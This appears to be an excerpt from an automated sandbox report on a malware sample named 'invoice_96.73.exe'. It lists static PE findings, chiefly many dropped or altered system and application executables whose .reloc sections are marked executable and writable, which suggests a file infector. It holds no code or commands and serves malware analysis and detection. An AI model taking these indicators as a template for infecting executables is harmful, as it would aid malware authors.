Source: RdrCEF.exe.2.dr

Static PE information: Resource name: CDRC type: RIFF (little-endian) data, Web/P image, VP8 encoding, 800x600, Scaling: [none]x[none], YUV color, decoders should clamp

Source: SciTE.exe.2.dr

Static PE information: Data appended to the last section found

Source: invoice_96.73.exe, 00000000.00000003.350225262.00000000042FD000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs invoice_96.73.exe
Source: invoice_96.73.exe, 00000000.00000003.350507609.0000000004480000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs invoice_96.73.exe
Source: invoice_96.73.exe, 00000000.00000003.346472098.0000000002A90000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamearmsvc.exeN vs invoice_96.73.exe
Source: invoice_96.73.exe, 00000000.00000003.349931866.0000000003690000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameALG.exej% vs invoice_96.73.exe
Source: invoice_96.73.exe, 00000000.00000003.353710582.00000000037C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameaspnet_state.exeT vs invoice_96.73.exe
Source: invoice_96.73.exe, 00000000.00000003.351198685.00000000042FD000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs invoice_96.73.exe

Source: invoice_96.73.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: invoice_96.73.exe	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: armsvc.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: FlashPlayerUpdateService.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: alg.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: aspnet_state.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AcroRd32Info.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AcroTextExtractor.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ADelRCP.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AdobeCollabSync.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: arh.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: WCChromeNativeMessagingHost.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Eula.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: FullTrustNotifier.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: LogTransport2.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: 32BitMAPIBroker.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: mscorsvw.exe0.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: mscorsvw.exe1.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: dllhost.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ehrecvr.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ehsched.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: FXSSVC.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: elevation_service.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ieetwcollector.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: maintenanceservice.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msdtc.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msiexec.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: perfhost.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Locator.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: snmptrap.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: sppsvc.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_NOT_PAGED, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: vds.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: VSSVC.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: wbengine.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: WmiApSrv.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: wmpnetwk.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: SearchIndexer.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ose.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: setup.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: dwtrig20.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: CCleaner.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: CCleaner64.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jabswitch.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: java-rmi.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: java.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javacpl.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javaw.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javaws.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jjs.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jp2launcher.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: keytool.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: kinit.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: klist.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ktab.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: orbd.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: pack200.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: policytool.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: rmid.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: rmiregistry.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: servertool.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ssvagent.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: tnameserv.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: unpack200.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AcroBroker.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: RdrCEF.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: 64BitMAPIBroker.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: reader_sl.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: wow_helper.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Au3Info.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Au3Info_x64.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AutoIt3Help.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AutoIt3_x64.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: RdrServicesUpdater.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AcroRd32.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: OSE.EXE.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: DW20.EXE.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: invoice_96.73.exe	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: armsvc.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: FlashPlayerUpdateService.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: alg.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: aspnet_state.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AcroRd32Info.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AcroTextExtractor.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ADelRCP.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AdobeCollabSync.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: arh.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: WCChromeNativeMessagingHost.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Eula.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: FullTrustNotifier.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: LogTransport2.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: 32BitMAPIBroker.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: mscorsvw.exe0.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: mscorsvw.exe1.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: dllhost.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ehrecvr.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ehsched.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: FXSSVC.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: elevation_service.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ieetwcollector.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: maintenanceservice.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msdtc.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msiexec.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: perfhost.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Locator.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: snmptrap.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
